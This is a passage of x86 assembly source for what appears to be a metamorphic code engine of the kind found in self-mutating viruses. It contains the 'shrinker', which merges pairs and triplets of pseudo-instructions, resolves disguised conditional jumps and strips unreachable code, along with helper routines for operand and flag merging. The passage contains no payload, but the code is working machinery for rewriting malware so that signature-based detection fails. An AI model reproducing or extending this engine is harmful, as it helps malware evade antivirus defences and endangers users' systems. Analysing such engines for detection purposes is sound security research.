cmp eax, ecx ; 00h
jnz @@Double_End
@@Double_Next17_NEGReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_NEGReg_2:
test ebx, 2
jz @@Double_Next17_Get32
xor eax, eax
mov al, [edi+7]
cmp eax, 80h
jb @@Double_Next17_Cont00
add eax, 0FFFFFF00h
jmp @@Double_Next17_Cont00
@@Double_Next17_Get32:
mov eax, [edi+7]
@@Double_Next17_Cont00:
cmp eax, edx
jnz @@Double_End
mov eax, ebx ; NEG
jmp @@Double_Next_SetInstruction
@@Double_Next17_ADDReg:
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_End
@@Double_Next17_ADDReg_2:
mov eax, edx
mov [esi+7], eax
mov eax, ecx
jmp @@Double_Next_SetInstruction
@@Double_Next18:
;mov al, [esi]
cmp eax, 0E2h ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1
jnz @@Double_Next19
mov ebx, 0E6h
mov ecx, 80h
mov edx, 1 ; If so, set ADD Reg8,1/NEG Reg8
jmp @@Double_Next_Check_NOT_OP
@@Double_Next19:
;mov al, [esi]
cmp eax, 0E4h ; NEG Reg + NOT Reg/ADD Reg,-1?
jnz @@Double_Next20
mov ebx, 0E0h
xor ecx, ecx
mov edx, -1 ; If so, set ADD Reg,-1/NOT Reg
jmp @@Double_Next_Check_NOT_OP
@@Double_Next20:
;mov al, [esi]
cmp eax, 0E6h ; NEG Reg8 + NOT Reg8/ADD Reg8,-1?
jnz @@Double_Next21
mov ebx, 0E2h
mov ecx, 80h
mov edx, -1 ; Set ADD Reg8,-1/NOT Reg8
jmp @@Double_Next_Check_NOT_OP
@@Double_Next21:
cmp eax, 0E1h ; NOT Mem + NEG Mem/ADD Mem,1?
jnz @@Double_Next22
mov ebx, 0E5h
mov ecx, 4
mov edx, 1 ; Then, set ADD Mem,1/NEG Mem
@@Double_Next_Check_NOT_OP_Mem:
xor eax, eax
mov al, [edi]
cmp eax, ebx
jz @@Double_Next21_ADDMem
cmp eax, ecx
jnz @@Double_End
@@Double_Next21_NEGMem:
mov eax, [esi+1] ; Check if operands are the same
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_NEGReg_2
@@Double_Next21_ADDMem:
mov eax, [esi+1] ; Check NOT/NEG + ADD,1/-1
cmp eax, [edi+1]
jnz @@Double_End
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_End
xor eax, eax
jmp @@Double_Next17_ADDReg_2
@@Double_Next22:
cmp eax, 0E3h ; NOT Mem8 + NEG Mem8/ADD Mem,1?
jnz @@Double_Next23
mov ebx, 0E7h
mov ecx, 84h
mov edx, 1 ; Set ADD Mem8,1/NEG Mem8
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next23:
cmp eax, 0E5h ; NEG Mem + NOT Mem/ADD Mem,-1?
jnz @@Double_Next24
mov ebx, 0E1h
mov ecx, 4
mov edx, -1 ; Set ADD Mem,-1/NOT Mem
jmp @@Double_Next_Check_NOT_OP_Mem
@@Double_Next24:
cmp eax, 0E7h ; NEG Mem8 + NOT Mem8/ADD Mem8,-1?
jnz @@Double_Next25
mov ebx, 0E3h
mov ecx, 84h
mov edx, -1 ; Set ADD Mem8,-1/NOT Mem8
jmp @@Double_Next_Check_NOT_OP_Mem
; Next four conditions are also disabled. They would work theorically, but they
; don't in practice :/
@@Double_Next25:
; cmp eax, 38h
; jb @@Double_Next26
; cmp eax, 3Ch
; ja @@Double_Next26
; @@Double_Next_CheckComparision:
; mov al, [edi]
; cmp eax, 70h
; jb @@Double_Next_NoComparision
; cmp eax, 7Fh
; jbe @@Double_End
; @@Double_Next_NoComparision:
; jmp @@Double_Next_SetNOPAt1st
@@Double_Next26:
; ;mov al, [esi]
; cmp eax, 38h+80h
; jb @@Double_Next27
; cmp eax, 3Ch+80h
; jbe @@Double_Next_CheckComparision
@@Double_Next27:
; ;mov al, [esi]
; cmp eax, 48h
; jb @@Double_Next28
; cmp eax, 4Ch
; jbe @@Double_Next_CheckComparision
@@Double_Next28:
; ;mov al, [esi]
; cmp eax, 48h+80h
; jb @@Double_Next29
; cmp eax, 4Ch+80h
; jbe @@Double_Next_CheckComparision
@@Double_Next29:
cmp eax, 0EAh ; CALL Mem + MOV Mem,EAX?
jnz @@Double_Next30
@@Double_Next29_CheckAPICALL_STORE:
mov al, [edi]
cmp eax, 43h
jnz @@Double_End
mov al, [edi+7] ; Check EAX
or eax, eax
jnz @@Double_End
mov eax, 0F6h
mov [edi], al ; Set APICALL_STORE
xor eax, eax
mov [edi+7], eax ; If we put 0 here we can treat this as
jmp @@EndCompressed ; an special opcode 43h (MOV Mem,Reg)
@@Double_Next30:
cmp eax, 0ECh ; Check CALL Reg + MOV Mem,EAX?
jz @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE
@@Double_Next31:
cmp eax, 42h ; MOV Reg,Mem?
jnz @@Double_Next32
mov eax, [edi]
and eax, 0FFh
cmp eax, 20h ; MOV Reg,Mem + AND Reg,0FF?
jz @@Double_Next31_MaybeMOVZX ; Set MOVZX
mov al, [esi+7]
cmp eax, 2 ; EAX,ECX,EDX? (it only uses these three)
ja @@Double_Next32
cmp al, [edi+1]
jnz @@Double_Next32
mov al, [edi]
cmp eax, 0ECh ; CALL Reg?
jnz @@Double_Next32
sub eax, 2 ; MOV Reg,Mem + CALL Reg = CALL Mem
jmp @@Double_Next_SetInstruction
@@Double_Next31_MaybeMOVZX:
mov eax, [edi+7] ; Check MOVZX. We check if the destiny
cmp eax, 0FFh ; registers are the same one
jnz @@Double_Next32
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next32
mov eax, [esi+1]
and eax, 0FFh ; AND Reg,0FF?
cmp eax, ebx
jz @@Double_Next32
mov eax, [esi+2]
and eax, 0Fh ; Set the register
cmp eax, ebx
jz @@Double_Next32
mov eax, 0F8h ; Set MOVZX Reg,byte ptr Mem
jmp @@Double_Next_SetInstruction
@@Double_Next32:
xor eax, eax
mov al, [esi]
cmp eax, 39h ; CMP Reg,Reg?
jnz @@Double_Next33
@@Double_Next32_Common:
mov al, [edi]
cmp eax, 70h ; CMP Reg,Reg + Jcc @xxx?
jb @@Double_End
cmp eax, 7Fh
ja @@Double_End
mov al, [esi+1]
mov ebx, eax ; If source and destiny in CMP aren't
mov al, [esi+7] ; the same, it's not a camuflated JMP
cmp eax, ebx
jnz @@Double_End
mov eax, [edi] ; Check flags when we jump for sure
and eax, 07h ; and when the two instructions do
cmp eax, 1 ; nothing.
jz @@Double_Next32_JMP
cmp eax, 6
jz @@Double_Next32_JMP
mov eax, [edi]
and eax, 0Fh
cmp eax, 2
jbe @@Double_Next32_NOP
cmp eax, 4
jbe @@Double_Next32_JMP
cmp eax, 0Ah
jz @@Double_Next32_JMP
cmp eax, 0Dh
jz @@Double_Next32_JMP
@@Double_Next32_NOP:
mov eax, 0FFh ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG
mov [edi], eax
jmp @@EndCompressed
@@Double_Next32_JMP:
mov eax, 0E9h ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE
mov [edi], al
mov edx, edi
; After the jump, we eliminate all the instructions until the next labelled
; instruction. That instructions are never executed, so we NOP them to avoid
; its reassembly.
@@Double_Next32_EliminateNonReachableCode:
add edx, 10h
cmp edx, [ebp+AddressOfLastInstruction]
jae @@EndCompressed
mov al, [edx+0Bh] ; Check label mark
or eax, eax
jnz @@EndCompressed
mov eax, 0FFh
mov [edx], eax
jmp @@Double_Next32_EliminateNonReachableCode
@@Double_Next33:
cmp eax, 39h+80h ; Do the same with CMP Reg8,Reg8
jz @@Double_Next32_Common
@@Double_End:
;; Here we check triplets of instructions and merge them into one.
@@Check_Triple:
mov edx, esi
mov esi, edi
call IncreaseEIP
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndNoCompressed
xor eax, eax
mov al, [edi+0Bh]
or eax, eax
jnz @@EndNoCompressed ; No compress if a label is pointing
; the last instruction
; Check triplet in [edx],[esi],[edi]
@@Triple_Next00:
;xor eax, eax
mov al, [edx]
cmp eax, 43h ; MOV Mem,Reg?
jnz @@Triple_Next01
mov eax, [edx+1] ; Check mem operands
cmp eax, [esi+1]
jnz @@Triple_Next01
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_Next01
mov eax, [edi]
cmp al, 42h ; 3rd instruction == MOV Reg,Mem?
jz @@Triple_Next00_Constr00
cmp al, 70h ; 3rd instr. == Jcc?
jb @@Triple_Next01
cmp al, 7Fh
ja @@Triple_Next01
mov eax, [esi]
and eax, 0F8h ; Get the comparision
or eax, eax
jz @@Triple_Next00_Maybe01
cmp eax, 28h ; SUB?
jz @@Triple_Next00_Maybe01
cmp eax, 38h ; CMP?
jz @@Triple_Next00_Maybe01
cmp eax, 48h ; TEST?
jz @@Triple_Next00_Maybe01
cmp eax, 20h ; AND?
jnz @@Triple_End
@@Triple_Next00_Maybe01:
xor ebx, ebx
@@Triple_Next00_CheckCMPTEST:
mov eax, [esi] ; Get the operation being performed
and eax, 07Fh
cmp eax, 48h ; If test, jump
jb @@Triple_Next00_CheckCMPTEST_00
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem
jz @@Triple_Next00_CMPTESTRegReg
jmp @@Triple_Next00_CheckCMPTEST_01
@@Triple_Next00_CheckCMPTEST_00:
and eax, 7
cmp eax, 3 ; Check if it's OP Mem,Reg
jz @@Triple_Next00_CMPTESTRegReg
@@Triple_Next00_CheckCMPTEST_01:
cmp eax, 4 ; Check if it's OP Mem,Imm
jnz @@Triple_End
@@Triple_Next00_CMPTESTRegImm:
mov eax, [edx+7]
mov [esi+1], al ; Set CMP/TEST Reg,Imm
; xor ebx, ebx
@@Triple_Next00_SET_CMPTEST:
mov eax, [esi]
and eax, 78h
cmp eax, 48h ; Check TEST
jz @@Triple_Next00_SetInstruction
cmp eax, 20h ; Check AND
jz @@Triple_Next00_Cont80
cmp eax, 38h ; Check CMP
jz @@Triple_Next00_SetInstruction
or eax, eax ; Check ADD (maybe is a conversion
jz @@Triple_Next00_NegateImm ; of SUB Reg,Imm)
@@Triple_Next00_SetCMP:
mov eax, 38h ; Set CMP if it's SUB/CMP
jmp @@Triple_Next00_SetInstruction
@@Triple_Next00_NegateImm:
mov eax, [esi+7]
neg eax ; If it's ADD is because I converted the
mov [esi+7], eax ; SUB as a single instruction before
jmp @@Triple_Next00_SetCMP
@@Triple_Next00_Cont80:
mov eax, 48h ; Set TEST if it's TEST/AND
@@Triple_Next00_SetInstruction:
add eax, ebx
mov [esi], al
mov eax, 0FFh
mov [edx], al
jmp @@EndCompressed
@@Triple_Next00_CMPTESTRegReg:
mov eax, [esi]
and eax, 78h
or eax, eax ; ADD?
jz @@Triple_End ; If so, finish
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edx+7]
mov [esi+7], al
add ebx, 1
jmp @@Triple_Next00_SET_CMPTEST
@@Triple_Next00_Constr00:
mov eax, [esi]
cmp al, 4Ch ; Common OP?
ja @@Triple_Next01
xor ebx, ebx
@@Triple_Next00_Common:
mov eax, [esi]
and eax, 78h ; Get instruction
cmp eax, 48h ; If it's not TEST, finish
jb @@Triple_Next00_Common_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check TEST Reg,Mem
jz @@Triple_Next00_Maybe00
jmp @@Triple_Next00_Common_01
@@Triple_Next00_Common_00:
mov eax, [esi]
and al, 7
cmp al, 3 ; Check OP Mem,Reg
jz @@Triple_Next00_Maybe00
@@Triple_Next00_Common_01:
cmp al, 4 ; Check OP Mem,Imm
jnz @@Triple_End
@@Triple_Next00_Maybe00:
mov eax, [edx+1] ; Check the Mem operand among the
cmp eax, [esi+1] ; instructions
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [edx+7]
cmp al, [edi+7]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h
cmp eax, 48h ; Get if it's TEST
jb @@Triple_Next00_00
mov eax, [esi]
and eax, 7 ; Check TEST Reg,Mem
cmp eax, 2
jz @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is
jmp @@Triple_Next00_01
@@Triple_Next00_00:
mov eax, [esi]
and eax, 7 ; Check OP Mem,Reg
cmp eax, 3
jz @@Triple_Next00_Maybe_OPRegReg
@@Triple_Next00_01:
mov eax, [edx+7]
mov [edx+1], al
mov eax, [esi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 78h
add eax, ebx ; Set the instruction with the EBX
@@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.)
mov [edx], al
@@Triple_Next_SetNOP:
mov eax, 0FFh
mov [esi], al
mov [edi], al ; Eliminate the 2nd and 3rd instruction
jmp @@EndCompressed
@@Triple_Next00_Maybe_OPRegReg:
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [edi+7]
mov [edx+7], eax
mov eax, [esi]
and eax, 0F8h ; Set CMP/TEST Reg,Reg
add eax, 1
jmp @@Triple_Next_SetInstruction
@@Triple_Next01:
mov eax, [edx]
cmp al, 43h+80h ; Check the same as above, but this
jnz @@Triple_Next02 ; time with 8 bits instructions. Since
mov eax, [edx+1] ; there are many different opcodes,
cmp eax, [esi+1] ; it's not worthy to try to merge it
jnz @@Triple_Next02 ; with the routine above, but all the
mov eax, [edx+3] ; others that check the possibility of
cmp eax, [esi+3] ; compression are from there, linking
jnz @@Triple_Next02 ; the possibilities with Jccs.
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next01_Constr00
cmp al, 70h
jb @@Triple_Next02
cmp al, 7Fh
ja @@Triple_Next02
mov eax, [esi]
and eax, 0F8h
cmp eax, 00h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 28h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 38h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 48h+80h
jz @@Triple_Next01_Maybe01
cmp eax, 20h+80h
jnz @@Triple_End
@@Triple_Next01_Maybe01:
mov ebx, 80h
jmp @@Triple_Next00_CheckCMPTEST
@@Triple_Next01_Constr00:
mov ebx, 80h
mov eax, [esi]
cmp al, 4Ch+80h
ja @@Triple_Next02 ; Well, at least we achieved to
cmp al, 00h+80h ; use as many instructions from the
jae @@Triple_Next00_Common ; @@Triple_Next00 as we can :)
@@Triple_Next02:
mov eax, [edx]
cmp al, 4Fh ; MOV Mem,Mem?
jnz @@Triple_Next03
mov eax, [edi]
cmp al, 70h ; Jcc in 3rd?
jb @@Triple_Next02_ContCheck
cmp al, 7Fh
ja @@Triple_Next02_ContCheck
mov ebx, [edx+7] ; Get the destiny address and check
mov eax, [ebx+1] ; if first and second instruction
cmp eax, [esi+1] ; use the same operand.
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [esi+3]
jnz @@Triple_End
mov eax, [esi]
and eax, 78h ; Check for comparisions:
cmp eax, 20h ; AND?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 28h ; SUB?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 38h ; CMP?
jz @@Triple_Next02_CheckCMPTESTMemReg
cmp eax, 48h ; TEST?
jnz @@Triple_Next03
@@Triple_Next02_CheckCMPTESTRegMem:
@@Triple_Next02_CheckCMPTESTMemReg:
mov eax, [edx+1]
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
mov eax, 0FFh
mov [edx], eax
mov eax, [esi]
and eax, 78h
cmp eax, 38h ; CMP?
jz @@EndCompressed
cmp eax, 48h ; TEST?
jz @@EndCompressed
cmp eax, 20h ; AND?
jz @@Triple_Next02_SetTEST
mov ebx, 10h ; Transform from SUB to CMP
@@Triple_Next02_ConvertInstruction:
mov eax, [esi] ; Set the instruction
add eax, ebx
mov [esi], eax
jmp @@EndCompressed
@@Triple_Next02_SetTEST:
mov ebx, 28h ; Transform from AND to TEST
jmp @@Triple_Next02_ConvertInstruction
@@Triple_Next02_ContCheck:
;mov al, [edi]
cmp al, 4Fh ; Check the 3rd instruction for a
jnz @@Triple_Next03 ; common operation
mov eax, [esi]
cmp al, 4Ch ; Check now the 2nd instruction
jbe @@Triple_Next02_CommonOperation
cmp al, 00h+80h ; Check if it's 8 bits instructions
jb @@Triple_Next03
cmp al, 4Ch+80h
ja @@Triple_Next03
@@Triple_Next02_CommonOperation:
cmp eax, 0F6h ; Check for APICALL_STORE
jz @@Triple_Next02_OPMemReg
and eax, 78h
cmp eax, 48h ; Check for a common instruction
jb @@Triple_Next02_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem in 2nd
jz @@Triple_Next02_OPMemReg
jmp @@Triple_Next02_01
@@Triple_Next02_00:
mov eax, [esi]
and eax, 7
cmp eax, 3 ; Check if it's OP Mem,Reg in 2nd
jz @@Triple_Next02_OPMemReg
@@Triple_Next02_01:
cmp eax, 4 ; OP Mem,Imm?
jnz @@Triple_End
@@Triple_Next02_OPMemImm:
@@Triple_Next02_OPMemReg:
mov ebx, [edx+7]
mov eax, [ebx+1]
cmp eax, [edi+1] ; Check Mem operands to see if the
jnz @@Triple_End ; instructions use the same one (if
cmp eax, [esi+1] ; not, we can't compress them,
jnz @@Triple_End ; obviously)
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Triple_End
cmp eax, [esi+3]
jnz @@Triple_End
mov ebx, [edi+7]
mov eax, [ebx+1]
cmp eax, [edx+1]
jnz @@Triple_End
mov eax, [ebx+3]
cmp eax, [edx+3]
jnz @@Triple_End
mov eax, [edx+1] ; Set the new Mem operand
mov [esi+1], eax
mov eax, [edx+3]
mov [esi+3], eax
@@Triple_Next_SetNOP_1_3:
mov eax, 0FFh
mov [edx], al
mov [edi], al ; Overwrite with NOP the first and
jmp @@EndCompressed ; third instruction, since we used
; the second one to put the new
; instruction.
@@Triple_Next03:
mov eax, [edx]
cmp al, 44h ; Check for MOV Mem,Imm
jnz @@Triple_Next04
mov eax, [edi]
cmp al, 42h ; MOV Mem,Imm + xxx + MOV Reg,Mem?
jz @@Triple_Next03_Constr00
cmp al, 70h ; Jcc in 3rd?
jb @@Triple_Next04
cmp al, 7Fh
ja @@Triple_Next04
mov eax, [esi]
@@Triple_Next03_Check_CMP_TEST:
cmp al, 3Ah ; CMP Reg,Mem (8 or 32 bits)
jz @@Triple_Next03_CMPRegImm
cmp al, 4Ah ; TEST Reg,Mem (" " " ")
jnz @@Triple_End
@@Triple_Next03_CMPRegImm:
@@Triple_Next03_TESTRegImm:
mov eax, [esi] ; Get 2nd instruction
and eax, 0F8h ; Convert it to OP Reg,Imm
mov [edx], al ; Set it at 1st instruction
mov eax, [esi+7]
mov [edx+1], al
mov eax, 0FFh
mov [esi], al
jmp @@EndCompressed
@@Triple_Next03_Constr00:
mov eax, [esi]
cmp eax, 0F6h ; Check if it's APICALL_STORE
jz @@Triple_Next03_Common_F6
cmp al, 4Ch ; Check if it's a common operation
ja @@Triple_Next04
@@Triple_Next03_Common:
and eax, 78h
cmp eax, 48h ; Common operation?
jb @@Triple_Next03_00
mov eax, [esi]
and eax, 7
cmp eax, 2 ; Check if it's OP Reg,Mem
jz @@Triple_Next03_Common_F6
jmp @@Triple_End
@@Triple_Next03_00:
mov eax, [esi]
and eax, 7
cmp eax, 3 ; OP Mem,Reg?
jnz @@Triple_End
@@Triple_Next03_Common_F6:
mov eax, [edx+1] ; If the Mem operands are the same,
cmp eax, [esi+1] ; merge them
jnz @@Triple_End
cmp eax, [edi+1]
jnz @@Triple_End
mov eax, [edx+3]
cmp eax, [esi+3]
jnz @@Triple_End
cmp eax, [edi+3]
jnz @@Triple_End
mov eax, [esi+7]
mov [edx+1], eax
mov eax, [esi]
and eax, 0F8h
jmp @@Triple_Next_SetInstruction
@@Triple_Next04:
mov eax, [edx]
cmp al, 44h+80h ; Same as above, but 8 bits instructs.
jnz @@Triple__Next04
mov eax, [edi]
cmp al, 42h+80h
jz @@Triple_Next04_Constr00
cmp al, 70h
jb @@Triple__Next04
cmp al, 7Fh
ja @@Triple__Next04
mov eax, [esi]
sub al, 80h
jmp @@Triple_Next03_Check_CMP_TEST
@@Triple_Next04_Constr00:
mov eax, [esi]
cmp al, 00h+80h
jb @@Triple__Next04
cmp al, 4Ch+80h
jbe @@Triple_Next03_Common
@@Triple__Next04:
@@Triple_End:
jmp @@EndNoCompressed ; If we didn't found any single,
; pair or triplet, end with flag of
@@EndCompressed: ; "not found"
mov eax, 1
pop edi
ret
@@EndNoCompressed:
xor eax, eax
pop edi
ret
ShrinkThisInstructions endp
;; This routine checks if the pseudoopcode passed uses a memory operand,
;; returning EAX = 1 if uses it, or 0 if it doesn't
CheckIfInstructionUsesMem proc
cmp eax, 4Eh ; Common op?
jbe @@Common
cmp eax, 4Fh ; MOV Mem,Mem --> return TRUE
jz @@UsesMem
cmp eax, 70h ; If 50/51/58/59 --> return bit 0
jb @@CheckLastBit
cmp eax, 80h ; Common 8 bits operations?
jb @@NoMem
cmp eax, 0CEh
jbe @@Common
cmp eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0
jbe @@CheckLastBit
cmp eax, 0EAh ; CALL Mem?
jz @@UsesMem
cmp eax, 0EBh ; JMP Mem?
jz @@UsesMem
cmp eax, 0F1h ; SHIFT Mem?
jz @@UsesMem
cmp eax, 0F3h ; SHIFT Mem8?
jz @@UsesMem
cmp eax, 0F6h ; APICALL_STORE?
jz @@UsesMem
cmp eax, 0F7h
jz @@UsesMem
cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
jz @@UsesMem
cmp eax, 0FCh ; LEA?
jz @@UsesMem
@@NoMem: xor eax, eax ; Return FALSE
ret
@@CheckLastBit:
and eax, 1 ; Return bit 0
ret
@@Common:
cmp eax, 4Eh ; Temporal info-transferring opcode
jz @@UsesMem
and eax, 7
cmp eax, 2
jb @@NoMem
cmp eax, 4 ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm?
ja @@NoMem ; If not, return FALSE
@@UsesMem:
mov eax, 1
ret
CheckIfInstructionUsesMem endp
;; This function merges the Imms passed in ECX and EDX depending on the
;; operations passed in EBX and EAX. The return values are the result of
;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5
;; then the returned operation will be MOV EAX,1239. It's also made for
;; ADD + ADD/SUB and many more. If the operation can't be joined then the
;; return value is 0FEh. If there are no merging, but the first instruction
;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then
;; the return value is NOP.
; In:
;; ECX = First Imm
;; EDX = 2nd Imm
;; EAX = First OP
;; EBX = 2nd OP (in lower 8 bits)
; Out:
;; ECX = Value to OP
;; EAX = OP to perform
;; FEh if it isn't shrinkable.
;; FFh if we must eliminate 1st instruction and leave 2nd invariable.
CalculateOperation proc
;; ADC & SBB aren't treated since they aren't used by the engine.
and ebx, 0FFh
and eax, 0FFh
cmp ebx, 40h ; If 2nd instruction is MOV, eliminate 1st
jz @@Eliminate1st
cmp eax, 40h ; First instruction == MOV?
jz @@MOV ; Then, do the merge
or eax, eax ; ADD?
jz @@ADD
cmp eax, 8 ; OR?
jz @@OR
cmp eax, 20h ; AND?
jz @@AND
cmp eax, 28h ; SUB?
jz @@SUB
cmp eax, 30h ; XOR?
jz @@XOR
cmp eax, 38h ; CMP
jz @@Eliminate1st
cmp eax, 48h ; TEST
jnz @@Eliminate1st
jmp @@NoCompression
; Check a merging with the ADD as first instruction
@@ADD: or ebx, ebx ; 2nd instr. ADD?
jz @@ADD_ADD ; Then, merge
cmp ebx, 28h ; 2nd instr. SUB?
jz @@ADD_SUB ; Then, merge
jmp @@NoCompression ; Exit with no compression
; Try the merging with OR
@@OR: cmp ebx, 8 ; 2nd instruction == OR?
jz @@OR_OR ; Merge OR / OR
jmp @@NoCompression ; Exit with no compression
@@AND: cmp ebx, 20h ; Check AND / AND
jz @@AND_AND ; If it is, merge ANDs
jmp @@NoCompression ; Exit with no compression
@@SUB: or ebx, ebx ; Check SUB / ADD or SUB / SUB
jz @@SUB_ADD
cmp ebx, 28h
jnz @@NoCompression ; Exit with no compression
@@SUB_SUB: neg ecx ; Merge the SUBs into a single operation:
sub ecx, edx ; -(1st) - 2nd = ADD Imm
xor eax, eax
ret
@@SUB_ADD: sub edx, ecx ; 2nd - 1st = ADD Imm
mov ecx, edx
xor eax, eax
ret
@@XOR: cmp ebx, 30h ; XOR / XOR?
jz @@XOR_XOR ; Then merge XORs
jmp @@NoCompression ; If it's not XOR, don't merge
@@MOV: or ebx, ebx ; MOV / ADD?
jz @@MOV_ADD
cmp ebx, 8 ; MOV / OR?
jz @@MOV_OR
cmp ebx, 20h ; MOV / AND?
jz @@MOV_AND
cmp ebx, 28h ; MOV / SUB?
jz @@MOV_SUB
cmp ebx, 30h ; MOV / XOR?
jz @@MOV_XOR
@@NoCompression:
mov eax, 0FEh ; Set "no compression" return value
ret
@@Eliminate1st:
mov eax, 0FFh ; Set NOP to first instruction (and leave the
ret ; second instruction untouched)
@@ADD_ADD:
@@MOV_ADD: add ecx, edx ; MOV + ADD or ADD + ADD = Add both Imms
ret
@@OR_OR: ; MOV + OR or OR + OR = OR both Imms
@@MOV_OR: or ecx, edx
ret
@@AND_AND: ; MOV + AND or AND + AND = AND both Imms
@@MOV_AND: and ecx, edx
ret
@@ADD_SUB: ; MOV + SUB or ADD + SUB = SUB 2nd Imm from
@@MOV_SUB: sub ecx, edx ; first Imm
ret
@@XOR_XOR: ; MOV + XOR or XOR + XOR = XOR both Imms
@@MOV_XOR: xor ecx, edx
ret
CalculateOperation endp
;; This function merges two flag checks (like JNZ/JA, for example) to get a
;; direct check to use in a conditional jump.
;; In:
;; EAX = Flag to check 1
;; EBX = Flag to check 2
;; Out:
;; EAX = Direct flag (+70h = 7xh, opcode of Jcc)
;; = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP)
;; = 0FFh if no direct flag can be used
;; This function only tests the flags that are coded by this engine (not all
;; the possible types).
;;
;; Checks can be merged as:
;;
;; X(even) + X+1 = JMP(unconditional)
;; NB(3) + E(4) = NB(3)
;; NB(3) + A(7) = NB(3)
;; E(4) + A(7) = NB(3)
;;
;; B(2) + A(7) = NE(5)
;; B(2) + NE(5) = NE (5)
;; NE(5) + A(7) = NE(5)
;;
;; B(2) + E(4) = BE(6)
;; B(2) + BE(6) = BE(6)
;; E(4) + BE(6) = BE(6)
;;
;; NB(3) + BE(6) = JMP(unconditional)
;; NE(5) + BE(6) = JMP (unconditional)
GetRealCheck proc
cmp eax, ebx
jb @@1
mov ecx, ebx
mov edx, eax
jmp @@2
@@1: mov ecx, eax
mov edx, ebx
@@2: test ecx, 1 ; ECX <= EDX
jnz @@NoUnconditional
sub edx, 1 ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an
cmp ecx, edx ; unconditional JMP (for example,
jz @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc.
add edx, 1
@@NoUnconditional:
cmp ecx, edx ; If Jcc1 == Jcc2, the result is the same Jcc
jz @@ReturnCurrent
cmp ecx, 2 ; JB?
jz @@Check2_x
cmp ecx, 3 ; JAE?
jz @@Check3_x
cmp ecx, 4 ; JZ?
jz @@Check4_x
cmp ecx, 5 ; JNZ?
jnz @@NoOption
;; Check merge with JNZ
@@Check5_x:
cmp edx, 7 ; JNZ + JA?
jz @@SetNE ; Then, set JNZ
cmp edx, 6 ; JNZ + JBE?
jz @@UnconditionalJump ; Then, set JMP (unconditional)
jmp @@NoOption ; If there isn't any of these options, it
; can't be compressed
;; Check merge with JB
@@Check2_x:
cmp edx, 4 ; If 2nd < 4, it can't be compressed
jb @@NoOption
cmp edx, 7 ; If 2nd > 7, it can't be compressed
ja @@NoOption
test edx, 1 ; JB + JNZ/JA = JNZ
jnz @@SetNE
jmp @@SetBE ; JB + JZ/JBE = JBE
;; Check merge with JAE
@@Check3_x:
cmp edx, 4 ; JAE + JZ = JAE
jz @@SetNB
cmp edx, 7 ; JAE + JA = JAE
jz @@SetNB
cmp edx, 6 ; JAE + JBE = JMP
jz @@UnconditionalJump
jmp @@NoOption ; Others can't be compressed
;; Check merge with JZ
@@Check4_x:
cmp edx, 6 ; JZ + JBE = JBE
jz @@SetBE
cmp edx, 7 ; JZ + JA = JAE/JNB
jnz @@NoOption
; jmp @@SetNB
@@SetNB: mov eax, 3 ; Set JAE
ret
@@SetNE: mov eax, 5 ; Set JNZ
ret
@@SetBE: mov eax, 6 ; Set JBE
ret
@@NoOption:
mov eax, 0FFh ; Set "no compression"
@@ReturnCurrent:
ret
@@UnconditionalJump:
mov eax, 79h ; Set JMP
ret
GetRealCheck endp
;;
;;
;; End of shrinker
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!VarIdent
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The variable identificator
;; --------------------------
;;
;; Little function that substitutes all the variables referenced along the
;; code by pointers to a table. These pointers will allow later the
;; repositioning of all the variables that are used by the whole code. It's
;; much like the label tables for displacement instructions, but this time
;; for variable referencing.
;;
;; The variables are identified by using the function from the shrinker
